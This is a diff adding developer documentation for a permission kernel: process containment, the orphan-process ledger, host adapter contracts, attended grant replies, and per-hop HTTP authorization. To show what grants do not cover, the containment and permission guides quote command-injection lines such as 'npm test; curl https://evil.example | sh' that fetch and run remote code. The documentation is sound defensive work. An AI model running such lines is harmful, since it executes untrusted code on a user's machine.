@smthrs/kernel 0.0.0-stage → 1.0.0-rc.3

package/docs/concepts/process-containment.md

@@ -0,0 +1,155 @@
+---
+title: "Process containment"
+description: "How the kernel makes a cancelled run leave no process behind: the SIGTERM-then-SIGKILL deadline, the durable process ledger, and the orphan records a dead host hands its successor."
+sidebar:
+  order: 4
+---
+
+A contained run owns its process lifetime independently of the target's exit
+status. The kernel supplies the ledger and composition contract; a platform
+lifecycle supplies launch and verified cleanup.
+
+## A cancellation that never finishes
+
+Effect's spawner already signals a child's process group when the spawn scope
+closes, and then waits for the exit. With no `forceKillAfter` configured, it
+waits forever. A child that traps `SIGTERM`, or a child whose own children trap
+it, turns a cancellation into a hung host: the releasing fiber never finishes,
+the run never reaches `cancelled`, and the process stays on the machine.
+
+`ContainedSpawner.layer` rewrites every command it spawns to carry an
+escalation deadline: `SIGTERM`, then `SIGKILL` after `graceMs`, which defaults
+to `ContainedSpawner.defaultGraceMs` (2,000 ms). Both legs of a pipeline get
+the policy. A command that already names its own `killSignal` or
+`forceKillAfter` keeps the policy its caller chose.
+
+A deadline alone is insufficient. A target can exit naturally while a child
+keeps running or holds stdout open. `Lifecycle` prepares a live owner before
+execution, lets the kernel record it, then activates the target. Each pipeline
+leg has its own owner and record. Node and Bun use
+`ProcessReaper.layerSpawner`, which combines a prepared native adapter with
+`ProcessReaper.processLifecycle`; `NodeHost.layerContained` and
+`BunHost.layerContained` already install it. A smaller Node/Bun composition
+can use that factory directly. `ContainedSpawner.isContained` rejects a
+deadline-only wrapper.
+
+The platform owns signals and verifies cleanup. Its handle may identify a
+supervisor rather than the target, so callers use `handle.kill` and never
+signal the recorded numeric pid as a substitute. A target's exit alone does
+not authorize ledger retirement.
+
+## A host that dies before its finalizers run
+
+A killed host runs no finalizers. The supplied POSIX supervisor observes its
+private parent connection closing and requests cleanup independently. A
+durable ledger still lets a later host reconcile any retained records when
+cleanup could not be confirmed.
+
+`ProcessLedger` is the durable memory that fixes it. Every successful spawn is
+recorded before target activation, and the record is released only after the
+lifecycle confirms cleanup when the spawn's scope closes. Records
+are ownerless journal entries on the run `flows.host:<hostId>` under the
+source id `@smthrs/kernel/ProcessLedger`, with four event types:
+
+| Event type                           | Meaning                                                   |
+| ------------------------------------ | --------------------------------------------------------- |
+| `flows.host.process-spawned.v1`      | This host started the process.                            |
+| `flows.host.process-exited.v1`       | The process ended and its scope released it.              |
+| `flows.host.process-reaped.v1`       | An abandoned process group was signalled by a later host. |
+| `flows.host.process-reap-skipped.v1` | A later host refused to signal it, and why.               |
+
+The next incarnation of the same host replays that history, folds the exit,
+reap, and skip events onto the spawn events, and reads `orphans`: the records
+whose owner pid is not this incarnation's. `ProcessLedger.layerMemory` keeps
+only the current incarnation's bookkeeping, with no journal and nothing
+inherited.
+
+Live tracking and replay identify each process by `(pid, startedAtMs)`.
+`startedAtMs` comes from the Effect clock when the spawn is recorded. A delayed
+exit, reap, or skip retires only that identity, preserving a newer record for
+the same pid. Callers pass the original record to retirement operations.
+
+## A failed write is reported, never swallowed
+
+`record`, `release`, `reaped`, and `skipped` all carry the journal's failure to
+their caller. A swallowed write would leave a child no incarnation of the host
+can discover, which is the exact outcome containment exists to prevent.
+
+A failed durable record prevents activation and closes the prepared owner.
+Failed startup in any pipeline leg immediately closes all legs already
+prepared for that logical command, even if the caller catches the failure.
+
+The release finalizer runs after platform cleanup. If cleanup fails or its
+`settled` result is false, release fails and the record is retained. If cleanup
+is verified but the journal release write fails after its retries, the record
+also stays for the next reaper instead of inventing a successful retirement.
+
+## Reaping is deliberately conservative
+
+Signalling a process group you did not start is dangerous: a pid can be
+recycled. [`@smthrs/platform-node`](/api/platform-node)'s `ProcessReaper`
+therefore signals an orphan only after every one of these holds:
+
+- The record names a **separate** process group, not the reaping host's own
+  group, and the group is a plausible one the child leads.
+- The owner is genuinely gone.
+- The record belongs to the current boot. A record written before this machine
+  booted names a pid from a pid space that no longer exists.
+- Where the platform can read it, the pid's start time still matches.
+
+A successful reap and a safety refusal retire the record through **different**
+event types, so an operator reading the journal can tell "we killed it" from
+"we declined to". A failed signal or a still-live owner leaves the record for a
+later attempt.
+
+`ContainedSpawner.groupOf(command, pid, platform)` decides what group to
+record, and it takes the platform because Effect detaches a child that names
+no `detached` option everywhere except win32. A win32 record claiming
+`pgid === pid` would name a group the child does not lead, so it records no
+group at all instead.
+
+## The grant identity is the command line and its environment names
+
+Compose the permission decorator above containment to check the caller's
+whole command before pipeline expansion and platform preparation.
+Containment and authorization are separate concerns over the same tag, but
+they share one fact worth stating here. Every stage of a spawn is checked as
+its own `proc:spawn` with `CommandLine.resource(stage, context)` as its
+resource, and no stage starts until every stage passes. That resource is the
+rendered line with three markings:
+
+- a `shell: true` line holding shell control syntax becomes `sh -c '<line>'`;
+- an environment variable the child would not otherwise inherit is named in an
+  `env <NAME>… --` prefix: any name outside the bootstrap set (`PATH`, `HOME`,
+  `USER`, `LANG`, `TERM`, `TMPDIR`, `SHELL`, `LC_*`), and a bootstrap name
+  whose value differs from this process's own;
+- a working directory outside `Workspace.root` is named in a `cwd <path> --`
+  prefix. The directory is judged by real path, so a symlink inside the
+  workspace that leads to another repository is named as that repository.
+
+A grant for `git status *` therefore covers none of `git status; curl x | sh`,
+`git status` with `GIT_SSH_COMMAND` set, `git status` with `PATH` pointing
+into the workspace, or `git status` run in `/tmp/other`. `git status | sh`
+needs a grant for `sh` too.
+
+A pipeline's `from` and `to` routing is **not** part of what the grant
+authorizes. Nor is the content of files inside the workspace: `git status` in
+the workspace reads `.git/config`, and `npm test` runs whatever `package.json`
+says. A flow that holds `fs:write` on those files decides what the granted
+program does, so grant `proc:spawn` for a config-reading program together with
+the `fs:write` scope you intend it to follow. The working directory and the
+_names_ of overridden environment variables also reach an attended surface as
+display metadata; the values do not.
+
+A custom shell path is explicit in the rendered line, and a pipeline renders
+with `|` between its stages, so neither can hide behind a grant for something
+else. The derived helpers (`exitCode`, `string`, `lines`, and both `stream`
+forms) are all rebuilt from the guarded `spawn`, so none of them can bypass the
+check.
+
+## Related
+
+- [Contain spawned processes](../guides/contain-spawned-processes.md): the
+  composition, with and without a journal.
+- [How a grant decision is made](./grant-decisions.md): the check that runs
+  before any of this.

package/docs/contract.md

@@ -0,0 +1,14 @@
+---
+title: "The kernel contract"
+description: "What @smthrs/kernel guarantees at a host boundary: checks that run before the operation, snapshotted inputs, the filesystem isolation a host must supply, and the structured refusal each service channel carries."
+---
+
+`@smthrs/kernel` owns the closed host boundary and decorates the same service
+tags supplied by each platform adapter. Capability checks happen before a host
+operation, and mutable inputs are snapshotted so the operation executed after
+an attended grant is the operation that was authorized. Native filesystems use
+a descriptor-relative executor; isolated browser and test volumes may attest
+whole-volume isolation. Process, network, Jujutsu, and filesystem refusals keep
+their structured permission error through the host service's fixed error
+channel. See the [Kernel API contract](/api/kernel) for the exact resources,
+stable error codes, limits, and public test subpaths.

package/docs/guides/adapt-a-new-host-platform.md

@@ -0,0 +1,148 @@
+---
+title: "Adapt a new host platform"
+description: "Implement the five host ports for a new runtime: attach the filesystem confinement extension the kernel requires, declare what your bundle does not support, and prove it with the shared contract suite."
+sidebar:
+  order: 7
+---
+
+A host adapter provides the five tags on the closed list. It does not check
+capabilities; the kernel does that above it. What the adapter owes the kernel
+is an honest filesystem and a truthful declaration of what it cannot do.
+
+## Provide the five tags
+
+Your bundle is one `Layer` providing `FileSystem`, `Path`,
+`ChildProcessSpawner`, `Jj`, and `HttpClient`. Where Effect owns the tag,
+implement Effect's service rather than a wrapper around it.
+
+A capability you do not support still gets a tag. Fail it in the error channel
+with a stable code instead of omitting the service:
+
+```ts
+import { CommandLine } from "@smthrs/kernel"
+import { Effect, Layer, PlatformError } from "effect"
+import { ChildProcessSpawner, make as makeSpawner } from "effect/unstable/process/ChildProcessSpawner"
+
+const layerSpawnerUnsupported: Layer.Layer<ChildProcessSpawner> = Layer.succeed(ChildProcessSpawner)(
+  makeSpawner((command) =>
+    Effect.fail(
+      PlatformError.systemError({
+        _tag: "NotFound",
+        module: "MyHost",
+        method: "spawn",
+        description: `no process host for \`${CommandLine.render(command)}\``
+      })
+    )
+  )
+)
+```
+
+The kernel ships stubs for two of these: `ChildProcessSpawner.layerNoop()` and
+`HttpClient.layerNoop()`.
+
+Derive the spawner's six methods from one `spawn` with
+`ChildProcessSpawner.make`, so `exitCode`, `string`, `lines`, and both `stream`
+helpers can never diverge from what `spawn` was given. Render command lines
+with `CommandLine.render`: it is the same renderer the `proc:spawn` capability
+resource uses, so an adapter that executes a different string than the kernel
+authorized is a defect the contract catches.
+
+## Attach a filesystem confinement extension
+
+This is the one thing the kernel will not do for you. A path-based filesystem
+cannot be confined, because the pathname the kernel checked is not the
+pathname the host resolves. A host that attaches neither extension fails every
+relevant filesystem operation closed.
+
+**A native host attaches a descriptor-relative executor:**
+
+```ts
+import { FileSystem as KernelFileSystem } from "@smthrs/kernel"
+
+const guardedRoot = KernelFileSystem.withAtomicFileSystem(myFileSystem, {
+  execute: (request) => runRelativeToPinnedRoot(request)
+})
+```
+
+The executor receives an `AtomicRequest`: one member per operation, naming the
+boundary and logical roots and exactly the operands that operation needs. Run
+it relative to a pinned root handle, rejecting symlinks as you traverse, and
+answer the result the operation names (`AtomicResult`). An executor that runs
+in process can be a typed `AtomicHandlers` record, which will not compile until
+every operation is implemented.
+
+**An isolated volume attests instead:**
+
+```ts
+const volume = KernelFileSystem.withIsolatedFileSystem(myInMemoryFileSystem)
+```
+
+Use this only when the implementation genuinely cannot address the host
+filesystem, as an in-memory browser volume cannot.
+`@smthrs/platform-browser` does exactly this. It throws on a filesystem that
+already carries a descriptor-relative executor, so the stronger guarantee can
+never be downgraded to the weaker one.
+
+Both functions decorate the supplied object in place and return the same
+identity. Attach once, at the boundary, and keep no undecorated alias.
+
+## Prove it with the contract suite
+
+`@smthrs/kernel/test/contract` exports `runHostContract`, the shared
+behavioral contract every host bundle must satisfy. It registers Vitest cases,
+so install the peers first:
+
+```bash
+pnpm add -D @effect/vitest@4.0.0-rc.115 vitest@5.0.0
+```
+
+Then declare, per slot, whether your bundle supports the capability and what it
+answers when it does not:
+
+```ts
+import { runHostContract } from "@smthrs/kernel/test/contract"
+import { Layer } from "effect"
+import * as ChildProcess from "effect/unstable/process/ChildProcess"
+
+runHostContract("MyHost", Layer.mergeAll(fs, path, spawner, jj, http), {
+  fileSystem: {
+    expected: "success",
+    // A scratch root, only when your filesystem rejects an OS temp path.
+    scratchPath: "/scratch",
+    // Per-operation exceptions, with the code each one fails with.
+    unsupported: { link: "NotFound", symlink: "NotFound", watch: "NotFound" }
+  },
+  path: { expected: "success" },
+  childProcess: {
+    expected: "success",
+    execCommand: ChildProcess.make("printf", ["ok"]),
+    expectedStdout: "ok",
+    stdin: { expected: "failure", code: "BadArgument" },
+    pipeline: { expected: "failure", code: "BadArgument" }
+  },
+  jj: { expected: "failure", code: "not_installed" },
+  httpClient: { expected: "failure", code: "TransportError" }
+})
+```
+
+A slot you do not support is
+`{ expected: "failure", code: "<the stable code>" }`. The suite normalizes the
+three shapes a host failure carries its code in: a `code` field on `JjError`, a
+nested `reason._tag` on `PlatformError` and `HttpClientError`, and a bare
+`_tag` on a thrown tagged value.
+
+The suite asserts that every tag on the closed list resolves, that every
+filesystem operation is declared one way or the other, that the spawner
+executes, streams, honours options, and is observably interruptible, and that
+the HTTP client executes a read, a write, and a **manual** redirect. That last
+one matters: a host that follows redirects on its own defeats the kernel's
+per-hop check, and the contract is where it gets caught.
+
+Declare defaults rather than overriding them where you can. A default nobody
+runs is a default nobody has checked.
+
+## Related
+
+- [Filesystem confinement](../concepts/filesystem-confinement.md): why the
+  extension is not optional.
+- [Testing](../testing.md): the rest of what this package ships for tests.

package/docs/guides/answer-permission-requests.md

@@ -0,0 +1,151 @@
+---
+title: "Answer permission requests"
+description: "Run an attended GrantStore: read the parked requests, show an operator what each one asks for, reply with once, run, remembered, or deny, and approve a whole plan with an envelope."
+sidebar:
+  order: 3
+---
+
+An attended store parks the asking fiber instead of refusing it. This guide is
+for the code on the other side of that park: the control plane, the CLI
+prompt, or the test that answers.
+
+## Hold the store, not just the layer
+
+To reply you need the service itself, so build it with `GrantStore.make` and
+provide it to the guarded host:
+
+```ts
+import { GrantStore, HostServices } from "@smthrs/kernel"
+import { Effect } from "effect"
+
+const withAttendedHost = Effect.gen(function*() {
+  // `attended` defaults to true. `runId` and `planDigest` scope the grants.
+  const store = yield* GrantStore.make({ runId: "run-1", planDigest: "plan-abc" })
+
+  return yield* work.pipe(
+    Effect.provide(HostServices.layer),
+    Effect.provideService(GrantStore.GrantStore, store)
+  )
+}).pipe(Effect.scoped)
+```
+
+The store is scoped. Closing its scope rejects every waiter with
+`permission_denied` and the reason `"grant store closed"`, and every later call
+fails with `store_closed`. Nothing is left hanging.
+
+## Read what is parked
+
+`store.list` is a frozen snapshot of the pending requests:
+
+```ts
+const requests = yield * store.list
+// [{ requestId, capability, tier, meta }]
+```
+
+| Field        | What to show                                                                                                                           |
+| ------------ | -------------------------------------------------------------------------------------------------------------------------------------- |
+| `requestId`  | The handle you reply with. Not for display.                                                                                            |
+| `capability` | The action and the exact resource. This is what the operator is approving.                                                             |
+| `tier`       | `sealed`, `compensable`, or `irreversible`: what re-running the operation would cost. Show it.                                         |
+| `meta`       | Display metadata the decorator attached. For a spawn, `cwd` and the **names** of overridden environment variables. Never their values. |
+
+Show the resource verbatim. It is the exact string that will be matched, and
+the difference between `/workspace/src` and `/workspace/src/../..` is the whole
+decision.
+
+## Reply
+
+```ts
+yield * store.reply(request.requestId, "once")
+```
+
+| Resolution   | Use it when                                                                                                                                                                        |
+| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `once`       | This one operation, nothing more. Adds no rule.                                                                                                                                    |
+| `run`        | Everything like it for the rest of this run. Requires a `planDigest` on the store; without one the reply fails with `invalid_resolution` and `"run grants require a plan digest"`. |
+| `remembered` | Everything like it, now and in later processes, once a journal-backed store is persisting.                                                                                         |
+| `deny`       | Refuse. The parked fiber fails with `permission_denied` and the reason `"permission request denied"`.                                                                              |
+
+For `run` and `remembered` you may pass a third argument, an explicit
+`CapabilityPattern`, to say what "everything like it" means:
+
+```ts
+yield * store.reply(
+  request.requestId,
+  "run",
+  new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/src/**" })
+)
+```
+
+Without one, the pattern is derived from the exact capability. A resource that
+contains glob metacharacters has no unambiguous derived pattern, so the reply
+fails and tells you to supply one or resolve `once`.
+
+A supplied pattern is checked before it is stored. It cannot name a different
+action, reach a more dangerous effect tier than the request displayed, or be a
+wildcard-bearing pattern identical to the resource; any of those fails with
+`invalid_resolution` and `"grant pattern exceeds the requested authority"`.
+
+Adding a rule wakes every other parked request the new rule now allows, so one
+`run` grant for `/workspace/**` clears the queue behind it instead of asking
+once per file.
+
+## Approve a whole plan at once
+
+A per-operation prompt is the wrong shape when a plan already declared what it
+needs. `grantEnvelope` approves the whole set before the work starts:
+
+```ts
+yield * store.grantEnvelope({
+  planDigest: "plan-abc",
+  scope: "run",
+  patterns: [
+    new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/**" }),
+    new Capability.CapabilityPattern({ action: "proc:spawn", resource: "npm test" })
+  ]
+})
+```
+
+Grant commands exactly. A `*` in a `proc:spawn` resource matches any text,
+including `;` and line breaks. A `shell: true` line with control syntax is
+checked as `sh -c '<line>'`, and every pipeline stage is checked on its own,
+so `npm test*` approves neither `npm test; curl https://evil.example | sh` nor
+the `sh` stage of a pipeline. It still approves `npm test --watch` and any
+other argument list.
+
+An envelope is a set, not a sequence. Its patterns are deduplicated and sorted
+before anything is stored, so approving the same predicates in a different
+order is the same approval and the repeat is a no-op rather than a second
+durable record. `GrantStore.envelopeSignature(planDigest, scope, patterns)`
+computes that identity if you need to compare envelopes yourself.
+
+`scope` is `"run"` (the default) or `"remembered"`. Envelope patterns must
+preserve exact action and filesystem effect-tier boundaries, so an envelope
+cannot turn a read approval into a write one.
+
+A store can also be constructed with an envelope already approved, through
+`MakeOptions.envelope`, and told which signatures are already durable through
+`MakeOptions.envelopeSignatures`. A construction envelope whose signature is
+already seeded still activates its rules but is not persisted again.
+
+## Errors you can get back
+
+`reply` and `grantEnvelope` fail with a `GrantStoreError`. The in-memory store
+raises four codes:
+
+| Code                 | Cause                                                                                                                    |
+| -------------------- | ------------------------------------------------------------------------------------------------------------------------ |
+| `request_not_found`  | No request with that id is parked. It was already answered, or the store was rebuilt.                                    |
+| `store_closed`       | The store's scope has closed.                                                                                            |
+| `invalid_resolution` | An unknown resolution, a pattern that exceeds the request, a missing plan digest for a `run` grant, or a bound exceeded. |
+| `journal_failed`     | Only from `JournalGrantStore`: the decision could not be persisted, so it was not activated.                             |
+
+`GrantStoreErrorCode` also includes `duplicate_request`, which an attended
+surface of your own may use; the kernel's in-memory store does not raise it.
+
+## Related
+
+- [How a grant decision is made](../concepts/grant-decisions.md): what turns
+  into a parked request in the first place.
+- [Persist grants across restarts](./persist-grants-across-restarts.md): make
+  `remembered` mean something after the process exits.

package/docs/guides/authorize-network-and-model-calls.md

@@ -0,0 +1,118 @@
+---
+title: "Authorize network and model calls"
+description: "How the HTTP decorator names a request as a capability: the method-to-action mapping, the implicit https scheme, per-hop redirect checks, and marking a request as a model call."
+sidebar:
+  order: 5
+---
+
+Network access is Effect's `HttpClient`, and the kernel decorates it. There is
+no Smithers transport port beneath it, because a raw port would be a second way
+to reach the network whose contract never mentions permission.
+
+## What a request is checked as
+
+The decorator derives one capability per request:
+
+| Request                           | Action       |
+| --------------------------------- | ------------ |
+| `GET` or `HEAD`                   | `net:get`    |
+| Every other method                | `net:post`   |
+| Any method inside `withModelCall` | `model:call` |
+
+The resource is the URL host, and the scheme decides how it is written:
+
+- For an `https:` URL, the resource is the **lowercased host** alone:
+  `https://API.Example.test/v1/x` names `api.example.test`.
+- For every other scheme, the resource is `<scheme>//<lowercased host>`:
+  `http://API.Example.test/x` names `http://api.example.test`.
+
+`https` is therefore the implicit scheme, and a grant for `api.example.test`
+can never authorize a cleartext `http` downgrade to the same host. The path,
+the query, and the headers are not part of the resource.
+
+A URL that is not absolute and parseable fails with `permission_denied` and
+the reason `"HTTP capability checks require an absolute, parseable URL"`.
+
+## Mark a model call
+
+The same host answers many models, and a grant for one must not be a grant for
+the rest. Effect's tag has no room for an extra method, so the intent rides on
+a context reference:
+
+```ts
+import { HttpClient } from "@smthrs/kernel"
+
+const call = provider.chat(request).pipe(
+  HttpClient.withModelCall("anthropic:claude-sonnet-4-5")
+)
+```
+
+Every outgoing request inside `call` is checked as `model:call` on
+`<resource>/<model id>`, so the example asks for
+`api.anthropic.com/anthropic:claude-sonnet-4-5` rather than for the host in
+general. The reference is `HttpClient.ModelCall` if you need to read it.
+
+## Every redirect hop is checked
+
+A redirect is a second network destination, so it needs a second grant check.
+Two halves guarantee it:
+
+1. The client below the decorator must **not** follow redirects on its own:
+   Undici with no redirect interceptor, or Effect's fetch layer with
+   `redirect: "manual"`. The decorator forces `redirect: "manual"` on the
+   `RequestInit` of every request it executes, so a plain
+   `FetchHttpClient.layer` cannot walk to another origin either. A custom
+   client that ignores `RequestInit` must meet the precondition itself.
+2. By default, the decorator composes Effect's `followRedirects` **above** the guard, so
+   every hop re-enters the guarded path and is checked exactly like hop zero.
+
+An authorized origin cannot lend its grant to another.
+
+To handle redirects yourself, provide `FetchHttpClient.RequestInit` with
+`redirect: "manual"` around the guarded request. It returns the first hop's
+response without contacting the redirect target. Your loop owns the hop
+limit, and each subsequent request through the guarded client receives its
+own grant check. Other request options are preserved. A manual setting
+provided privately to the raw host client only prevents transport-level
+redirects; the guarded client still follows redirects by default.
+
+## Read a refusal back
+
+Effect's tag fixes the error channel to `HttpClientError`, so a refusal arrives
+projected. The reason is always a `TransportError`: the request did not leave
+the host. `description` carries the human rendering, and `cause` carries the
+structured kernel failure:
+
+```ts
+import { HttpClient } from "@smthrs/kernel"
+import { Option } from "effect"
+
+const permission = HttpClient.fromHttpClientError(failure)
+// Option.some({ code, capability, tier, requestId, ... })
+```
+
+`Option.none()` means the failure was a genuine transport problem, not a
+permission decision.
+
+## Requests are snapshotted
+
+A request record a caller still holds is a way to change the destination after
+it was authorized. The decorator snapshots the URL parameters, the headers, and
+the body, copying byte buffers and form data, before any permission suspension.
+A body that is neither immutable nor copyable fails with
+`"HTTP request must be an immutable supported request description"`.
+
+## Hosts with no network
+
+`HttpClient.layerNoop()` provides a client whose every request fails with a
+`TransportError` naming the request and the cause
+`"HTTP is unavailable on this host"`. Use it for a host that genuinely cannot
+reach the network, so an unconfigured capability answers rather than vanishing.
+`@smthrs/testing/TestHost` composes it.
+
+## Related
+
+- [Write a capability policy](./write-a-capability-policy.md): naming hosts and
+  models in rules.
+- [Decoration in place](../concepts/decoration-in-place.md): why the error is
+  projected rather than widened.